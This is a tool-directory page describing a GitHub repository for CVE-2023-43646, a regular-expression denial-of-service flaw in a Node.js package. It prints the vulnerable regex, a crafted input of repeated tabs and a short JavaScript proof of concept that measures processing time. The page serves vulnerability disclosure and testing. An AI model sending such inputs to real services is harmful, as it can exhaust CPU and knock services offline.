Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-43646 — redos | Kitploit
Tools/GitHubGitHub/200101whoami/cve-2023-43646
Vulnerability ScannersVulnerability AnalysisCode AnalysisPapers & ResearchLearning & Education
GitHub200101whoami/cve-2023-43646

CVE-2023-43646

redos

View Repository
32 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-43646

Vulnerability Overview

  • CVE-2023-43646

  • CVSS : 8.6

  • Sep 26, 2023

  • ReDoS in node.js package

  • Part of the rebob project

Vulnerability Description

github advisories

root@kitploit:~
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

root@kitploit:~
'\t'.repeat(54773) + '\t/function/i'

Here is a simple PoC code to demonstrate the issue:

root@kitploit:~
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

target package

Download Tool